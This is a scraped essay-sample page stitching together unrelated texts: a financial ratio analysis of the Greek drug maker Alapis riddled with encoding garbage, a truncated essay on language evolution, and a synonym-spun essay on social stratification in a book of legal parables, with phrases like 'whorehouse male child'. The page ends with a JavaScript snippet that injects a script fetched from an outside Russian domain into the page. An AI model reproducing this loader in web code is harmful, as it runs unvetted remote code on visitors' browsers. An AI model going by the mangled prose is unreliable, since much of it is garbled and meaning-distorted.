Financial Analysis Of Alapis Pharmaceutical Firm Finance Essay - Free Essay Example

Sample details Pages: 5 Words: 1645 Downloads: 1 Date added: 2017/06/26 Category Finance Essay Type Argumentative essay Did you like this example? ALAPIS SA, a Greek public pharmaceutical firm, employing 741 employees, is engaged in the manufacture and distribution of detergents and cosmetics, veterinary pharmaceuticals, nutritional supplements, animal accessories and organic products, as well as human pharmaceuticals, medical devices and health materials. The Company operates several subsidiaries that supply a variety of pharmaceuticals, medical equipment, and hygienic products to drug stores and hospitals. Animal feeds, pet food and accessories are some of the Companys veterinary product offerings. Don’t waste time! Our writers will create an original "Financial Analysis Of Alapis Pharmaceutical Firm Finance Essay" essay for you Create order ALAPIS S.A.s cosmetics and detergents product portfolio includes fabric softeners, bleachers and personal hygiene products, whereas the organic products segment contains agrochemicals, seeds, chemicals and aquaculture products. On June 10, 2010 Alapis implemented its strategy to focus on its core business Pharmaceutical segment and proceeded in the disposal of its non-Human Health activities, namely in Cosmetics and Liquid Detergents, Animal Health and Medical Devices sector. The CompanyÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€¦Ã‚ ¸s equity capital, as of the end of FY2010, amounted to ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬588.360.132, divided into two 245.150.055 shares (a decrease from 1.961.200.440 in a reverse split; pro rata one new share for every 8 existing ones), each with nominal value ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬ 2.40 (up from ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬0.30 of nominal value per share). The major shareholder of the firm, since December 2010, is Mr. Mario Al-Jebouri who controls 15.206% of the CompanyÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€¦Ã‚ ¸s total outstanding voting rights, and who, since February 2011, has been appointed the new Vice-Chairman (Non-executive member) of its Board of Directors. RATIO ANALYSIS Liquidity In Table 2-1 we can see first the change in the current ratio and quick ratio over the fiscal years 2008 and 2010. The significant drop of the current ratio in 2010 is attributed to the 47.13% fall in current assets over the previous year against a 119 % increase in current liabilities in the same year. Of the total decline in current assets the drop in inventory contributed 2.78 percentage points[1], while the fall in accounts receivable 29.67percentage points. The reduction in inventory and accounts receivable led to a decline in both the number of days of accounts receivable and the number of days in inventory increases. Then, we turn our attention to the basic three activity ratios; these ratios that measure the firms ability to convert different accounts within its balance sheets into cash. We can use these ratios in order to expresses the length of time (in days) that the takes to sell inventory, collect receivables and pay its accounts payable. Table 2-1 shows that the company, as its inventory turnover ratio fell, increased the number of days (from 18 days on 2008 to 70 days in 2010) it takes to convert its inventory to sales, either as cash or accounts receivable. This increase is attributed o the 264% increase of average inventory over the period 2008-2010. Table 2ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒ ¢Ã¢â€š ¬Ã‹Å"1: The Firms Liquidity Ratios 2009 2008 2010 Current Ratio 1,269 1,304 0,325 Quick Ratio 1,218 1,218 0,302 Receivable Turnover Ratio 2,21 0,95 0,91 Average days sales uncollected 165,20 382,62 403,16 Inventory Turnover Ratio 20,40 3,16 5,24 Average days inventory on hand 17,90 115,40 69,66 Payable Turnover Ratio 6,44 0,48 1,26 Average days Payable 56,64 753,55 289,15 Figure 2ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒ ¢Ã¢â€š ¬Ã‹Å"1: Activity Ratios for Alapis S.A., 2008-2010 Profitability We start our analysis of the firms profitability by looking at the most the most widely used measure of profitability, i.e. that of the return on equity (); this is defined as net income (i.e. profit after tax) divided by (average) common stockholders equity (Ross et al., 1999: 35). Table 2-2 shows the firms rapid deterioration of ROE from 2.82% in FY 2010 to the troublesome -84.59% in 2010. These results do not include and any figures for discontinued operations. Of course the main driver in the falling course of the return on equity was the falling profit margin (in Table 2-4 we see that financial leverage could not enhance the companys ROE; notice the significant increase in the firms debt-to-equity ratio). As we can see the profit margin plunged from 9.79% in FY 2008 to -310% in FY2010. Table 2ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒ ¢Ã¢â€š ¬Ã‹Å"2: The Firms Profitability Figures 2008 2009 2010 Profit Margin (%) 9,797 18,76 -310,00 Asset Turnover (%) 17,873 7,86 13,23 Return on Assets (%) 1,751 1,48 -41,00 Return on Equity (%) 2,812 2,46 -84,59 Figure 2ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒ ¢Ã¢â€š ¬Ã‹Å"2: Profitability Ratios for Alapis S.A., 2008-2010 This immensely negative figure for the profit margin was down of course to the impact of the 792.494.000ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬ worth of the impairment charge in FY 2010; that figure concerned only the continuing operations. Indeed, In application of the IFRS and specifically IAS 36, Alapis proceeded to the audit of impairment of the GroupÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒâ€¦Ã‚ ¸s goodwill stemming from the acquisition of controlling interest at subsidiaries, the Group proceeded with an impairment of the goodwill related to intangible and tangible assets from continuing operations amounting to a total amount of ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬ 840,5 mil. which impacted the results for 2010. The magnitude of the impairment was affected to a great extent by the adverse changes of financial parameters and components such as the discount rate, the market risk factor, the systematic risk factor, all of which were affected by the global financial crisis and the impact on the Greek economy. It should be noted however that the majority of the impairment is attributed to the significant impairment of goodwill that was created in 2007 when Alapis was formed through the 4-way merger as well as the subsequent company acquisitions. Cash Flow Adequacy Table 2-3 shows that all cash flow multiplies decreased through time. This of course has to do with the fact that operating cash flow plummeted from ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬195,310,000 in 2008 to just ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬58,293,000 in 2010. If we leave aside the thorny year of 2010, the problem with the falling operating cash flow in 2009 is not to be found in the operating profitability (roughly the same in 2008 and 2009), but to the working capital charges. Specifically, the huge increase in trade receivables in 2009 (compared with a decrease in 2008) brought the operating cash flow down from ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬195,310,000 in 2008 to ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬97,065,000 in 2009. Table 2ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒ ¢Ã¢â€š ¬Ã‹Å"3: The Firms Cash Flow-Adequacy Figures 2008 2009 2010 Cash Flow Yield (%) 4,544 1,987 -0,065 Cash Flow to Sales (%) 44,514 37,276 20,235 Cash Flow to Assets (%) 7,956 2,931 2,676 Gearing Ratio Table 2-4 shows the firms hugely erratic interest coverage ratio, which is used to determine how easily the company can pay out of its operating income its interest expenses on outstanding debt. Notice how the firms ability to meet its interest expenses became questionable after FY2009. Clearly, the company cannot go one like that as a going concern; it must either reduce leverage or increase operating profitability. If we exclude from our analysis FY2010, the interest coverage ratio fell as the quite robust increase in operating profit (from 74,856,000ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬ in 2008 to 129,178,000ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬ in 2009) could not cover the immense increase in the firms (net) finance cost (from 294,000ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬ in 2008 to 51,436.000ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬ in 2009). One of the reasons accounting for the increase in finance cost is the increase in interest expense on non-current borrowings; this expense rose from ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬ 12,648,000 to ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬ 23,263,000 in 2009. Table 2ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒ ¢Ã¢â€š ¬Ã‹Å"4: The Firms Gearing Ratios 2008 2009 2010 Debt to Equity Ratio 0,606 0,664 1,063 Interest Coverage Ratio 251,040 1,511 -9,070 Market Strength Table 2-5 also shows very erratic investment ratios. At this point we need to clarify that in order to calculate the price earnings ratio we have divided the market price per share at the end of the fiscal year by the earnings over the last 12 months, while in order to estimate the dividend yield we have used the share price at the beginning of the fiscal year. As we can see from Table 2-4, the only decent fiscal year when it comes to the dividend yield was FY2009 when an investor who had bought shares of the company at the beginning of the year would have landed an 8.13% dividend yield. In 2008 the dividend yield was a non-existent 0.60%. This is attributed to the fact that in 2008 the companys net profits (after tax) were significantly reduced (by almost 46%), and as a result the companys management decided to distribute a dividend per share of 0.011ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬ against 0.025ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬ for 2007; this represent a 56% reduction in the dividend payout for the FY2008. For 2010 we see that the dividend yield was zero as the company distributed no dividend because of the losses incurred in the same fiscal year. The firms P/E is illustrative as to the growth prospects the market had attached to the firm. Specifically, by the end of FY2008 much investors were willing to pay ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬13.23 for ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬1 of  current earnings, while by the end of the next fiscal year that figure went down to ÃÆ' ¢Ãƒ ¢Ã¢â€š ¬Ã… ¡Ãƒâ€šÃ‚ ¬1.38 pay euro of earnings per share. This tenfold reduction in the P/E ratio, which occurred despite the fact that the companys earnings per share rose from 0.04 in 2008 to 0.33 in 2009, is indicative of how gloomy are the markets expectations with the regard to the growth prospects of Alapis. Table 2ÃÆ' ¢Ãƒ ¢Ã¢â‚¬Å¡Ã‚ ¬Ãƒ ¢Ã¢â€š ¬Ã‹Å"5:The Firms Investment Ratios 2008 2009 2010 Price/Earnings Ratio[2] 13,229 1,380 NA Dividends Yield[3](%) 0,608 8,136 0,000 FUTURE PROSPECTS The adverse conditions that prevailed throughout 2010 in combination with the stringent austerity measures Greece has taken as was expected took a toll on healthcare expenditure; this in turn significantly affected the domestic pharmaceutical sector. Right now the main problem the sector faces is overall delay of payments by the Greek State to the pharmaceutical companies, a problem that may further dent turnover and profit margins 2010 CONCLUSIONS The decrease in the companys turnover can be attributed to three factors. First, there was the reduction in the pharma prices imposed by the State during the 4th quarter of 2010. More specifically, in May 2010 the Greek state applied a horizontal price reduction on approximately 12,000 drugs. Second, as the pharmacies decided to destock in view of the new pricing environment that led to a lot of product returns to the Company. Third, the company decided to proceed with the sale of some activities. We may argue that the basic risk ahead for the company is the price risk, as the Greek State (according to L.3840/31.03.2010) is the price setter for a medicine produced, packaged or imported in the country; this price must not exceed the average of the three lowest prices of that particular medicine as sold within the European Union (EU) member states. This pricing system is expected to be to the detriment of the company s future as the GDP and labour costs in some EU member states, such as Bulgaria, Romania, and Poland, are 40% of the respective Greek figures, and as a result the price of the same piece of medicine is expected to be quite low in these countries.

The Evolution of Language - 1707 Words

The Evolution of Language The study of language is very intriguing once you start looking a little farther into it. I read through many books and sources to help make the history of language a little more clear and found many interesting ideas. I found that something as simple as the way you use your hand could shape the brain, language, and human culture (The Hand). I also found many sources on human evolution; and digging a bit deeper into this area showed me many thoughts and ideas I never even have thought about. The book that was most helpful in this area gave me many topics to think about. It had a few chapters in it that really caught my eye. It had historical views on this subject, a modern evolutionary theory,†¦show more content†¦This longer time period for humans essentially gives us about a 21- month gestation period. This pattern has been named the secondary altriciality. It is a fact that the human brain is about 3 times bigger than the apes brain. There is fossil evidence that could po ssibly show the expanding brain size and give insight on social organization, or more specifically, infant care. There are also many possible causes of brain expansion. A popular notion that has been around for a while is the hypothesis seems very obvious. The major difference between apes and humans is that humans made and used stone tools. The brain size growing to the amount of basically tripling in size is also coupled with an increasing complexity of tool technology (Human Evolution). There are now newer ideas that have been thought to be the explanation for this evolution. There have been laboratory tests done on apes and monkeys that showed they are very intelligent creatures, and then tests done in field studies that show the daily lives of these creatures are relatively undermanding. These findings bring up many questions and one particular question is, â€Å"What selective advantage does a high degree of intelligence confer on monkeys and apes?†. The answer to this question is primate social life. Language is a unique characteristic of humans (Human Evolution). There is fossil evidence and archeology that can help answer the â€Å"when did language evolve† questions. Another question that in just asShow MoreRelatedEvolution Of Language And The Brain1447 Words   |  6 PagesSchool. Deacon’s special interests include bio-cultural evolution, brain development, and biosemiotics. He has published 2 major books The Symbolic Species: The Co-Evolution of Language and the Brain† and â€Å"Incomplete Nature: How Mind Emerged from Matter† also coauthored several books and articles revolving semiotics. The book I will be mainly focusing on is The Symbolic Species, which tackles on his theory of the co-evolution of language and the brain. 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Social Stratification As A Main Theme In free essay sample

The Brothel Boy And Other Parables Of The Law Essay, Research Paper # 8220 ; Justice is your occupation, non mercy. # 8221 ; This is a really strong statement coming from The Brothel Boy and Other Parables of the Law by Norval Morris. This sentence portrays a outstanding subject in the determinations made in this book. Sent to Moulmein, Burma to move as a police officer, prosecuting officer, and justice, Eric Blair discovers that the jurisprudence is non every bit clear-cut as it may look. Constantly plagued by his moral and legal values, Eric Blair finds himself seeking the advice from the local physician, Dr. Veraswami. Blair has a sum of eight separate brushs in which he battles for the right reply. He shortly finds out that there is non one right reply, but many different replies that could be right or incorrect depending on the state of affairs. Many sociological and socio-legal issues are seen throughout the book. My primary focal point will be on societal stratification and the function it plays with the legal issues and determinations. . The survey of societal stratification is the survey of category, caste, privilege, and position that is characteristic of a peculiar society. It varies harmonizing to how society is organized particularly in footings of production and work. This thought is a sociological issue that seems to predominate throughout Blair # 8217 ; s brushs. There are many different group and single positions that made up the small town of Moulmein, Burma. The English were finally the superior group because they governed Burma and because they were white. Each individual among the English did hold his or her ain single position every bit good. Blair for illustration had high position in the community because of his occupation. After the English came the Burmese villagers. Some of these people were more of import than others based on their cultural and educational degrees. Even though Dr. Veraswami was non Burmese, he still was integrated into their society because of the colour of his tegument. He had h igh position in this society because he was a physician with the best certificates. The issue of societal stratification is of import because it is a prevailing subject. Ultimately societal stratification plays a major function in the result of the single instances. In this paper I am traveling to reason why portion societal stratification plays a outstanding portion in a three of Blair # 8217 ; s legal determinations. Blair # 8217 ; s first brush is the whorehouse male child. The whorehouse male child was a kid born to the local whorehouse and maintain on to work as a fanner for the cocottes. Having no instruction and hardly any communicating accomplishments, one would see him retarded. The male child, non cognizing of any wrongdoing attempts to pay a local miss to hold sex with him. She refuses and he proceeds to ravish her, she ends up falling and hitting her caput on a stone, which leads to her decease. Blair is faced with the undertaking of penalizing the male child. The villagers want him executed because of his ghastly offense. Blair on the other manus, finds himself in a hard state of affairs because he feels the male child did non cognize any better. Taking into history Dr. Veraswami # 8217 ; s advice to make what the villagers would desire, Blair decided to put to death the male child. The function of societal stratification plays an of import function in this instance. The whorehouse male child held the lowest position in his society. Due to his deficiency of instruction, and his occupation in the whorehouse, he was held at about the slave degree. It was easier for the villagers to hold to an executing because the male child held no topographic point in society. It was difficult for Blair to hold to this because he felt sorry for the male child, but because the other villagers were of higher category, Blair made the determination on executing. Blair made the right determination even though he was non certain of himself. The male child was at the subsistent degree in society. Even if Blair had acquitted the male child, he would travel back to a life that was non deserving life. His occupation that kept him existing was revolting. It was non his mistake that he held that occupation, but that was where society had placed him. He had no formal instruction nor communicating accomplishments so he could non acquire out of his state of affairs. He would go on to work at the whorehouse until he was let travel. Where would he travel from at that place? The Burmese society would eschew him. The European society would eschew him even more. Peoples would likely seek and do injury to him because of the miss # 8217 ; s decease. This would stop up being more anguish than his executing. Blair thought the male child deserved some clemency because of the conditions. He was right, but put to deathing him likely could hold been the most merciful thing to make. He satisfied the villagers, even though he was non satisfied himself. If Blair would hold thought more about the male child # 8217 ; s state of affairs and the society in which he was imposed in, Blair would likely hold came to the same decisi on. In the terminal justness prevailed every bit good. Even though the offense of decease was inadvertent, another offense, colza was committed that resulted in the miss # 8217 ; s decease. The offense deserved a rough penalty, and the male child was given one. Therefore, even though Blair did non acknowledge this, justness and clemency prevailed. Justice prevailed because he did what was allowable by jurisprudence, and clemency because he saved the male child from the barbarous society in which he would hold returned. gt ; Blair # 8217 ; s 2nd brush dealt with parental rights. A half Burmese, half European male child was born to a retainer in one of the European families. Trying to salvage the adult female from any embarrassment, the household agreed to raise the male child. At the age of seven the household decides to go forth Burma and take the male child. The existent female parent of the male child wanted the male child to remain with her in her small town. Blair is so faced with the determination of which household to allow detention. He ends up allowing detention to the English parents. This trades with two different civilizations and two different categories of people. The English household is affluent and wants to raise the male child in their European civilization, as opposed to the existent female parent who is hapless and portion of the Burmese civilization. The male child has the chance to turn up in a rich environment as opposed to village life. Who has more of a right to rear the male child? This was the issue that Blair dealt with. The natural parents normally have a higher claim to the kid than adoptive parents. Blair even admits this as he debates. In the terminal though he gives the male child to the English household. Blair felt that being raised in the English household would be better for the male child. The English household was wealthier than the Burmese female parent, and could give him more of a formal upbringing than the small town. Was it the societal stratification that decided Blair # 8217 ; s determination? I would state yes. Blair neer stopped t o believe that the Burmese kid may be shunned in the white English society, or that the household may be shunned by raising the kid. Blair already knew that the male child was accepted into the Burmese society because his existent female parent would take him with her to the small town for frequent visits. What Blair saw was a high-toned household that could offer the male child more than his native small town. On the other manus, who is to state that he would non acquire offerings merely as rich if he stayed in the small town? He may non hold gotten what our society would see rich, but what the Burmese society considers rich. Blair would non cognize these things because he is of the # 8220 ; rich # 8221 ; European society. Did Blair do the incorrect determination? I excessively would hold chosen the English household for the exact grounds I merely discussed. I feel that the English household could offer the male child more than his small town in Burma. But so once more, I am from the same European society as Blair so my sentiment could be viewed as colored. As one can see, societal stratification intersects with cultural neutrality doing it really hard to set up the right solution. But it is of my sentiment that it was societal stratification that made the determination for Blair irrespective if he was witting of it or non. Blair # 8217 ; s 3rd brush dealt with a European adult male and his Burmese kept woman. During one of their meetings, the adult male dreamt that his kept woman was fornicating with one of the Burmese small town work forces. This made him angry and in hastiness he shot the adult male. He awoke to happen that he had shot and killed his kept woman in his slumber. The tribunal held that he was guiltless of any offense because he was non in a witting province at the clip he committed the offense. This scenario incorporates societal stratification with racism. The European adult male is in the higher socio-class than the Burmese adult female. Since it was taken through the English tribunals, his acquittal was based on the societal stratification. One could reason that this could be a covert signifier of racism. If the state of affairs was reversed and a Burmese adult male had murdered an English miss in his slumber, would he hold been acquitted of the charges? No he would non. Due to the socio-class that the Burmese belonged to, and the clip epoch, the adult male would likely hold been executed. The fact that the charges were dismissed shows an unequal balance between the two societies. He was responsible for the miss # 8217 ; s decease even though it happened in his slumber. He may non hold deliberately meant to make it, but there are some indicants that this could hold been a foolhardy decease. One facet to believe about is the gun. Why was it so easy available to him to be able to perpetrate this offense? Besides there had been some past history of him moving out his dreams and he could hold received aid. His complete acquittal of all the charges was morally and lawfully incorrect. Blair even expresses this sentiment in the book. In decision, # 8220 ; To endeavor for justness, one must be a individual of rules. There is no individual rule that one can utilize to accomplish justness in the declaration of legal disputes. # 8221 ; This is true because one must utilize a broad array of rules that come from moral and legal positions in order to derive a declaration. Unfortunately society has deemed it necessary to integrate societal stratification into some of these rules. The jurisprudence tends to hold more leniences to those who have higher places in society. With as many categories as our society today, it is impossible to happen a jury of equals. Each individual has their ain thought of cultural norms, legal and moral rules, and a socio-class in which they belong to. Therefore, I contend that societal stratification, whether it is between races, or economical degrees, will ever hold some function in legal determinations. Willdermood 6 ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;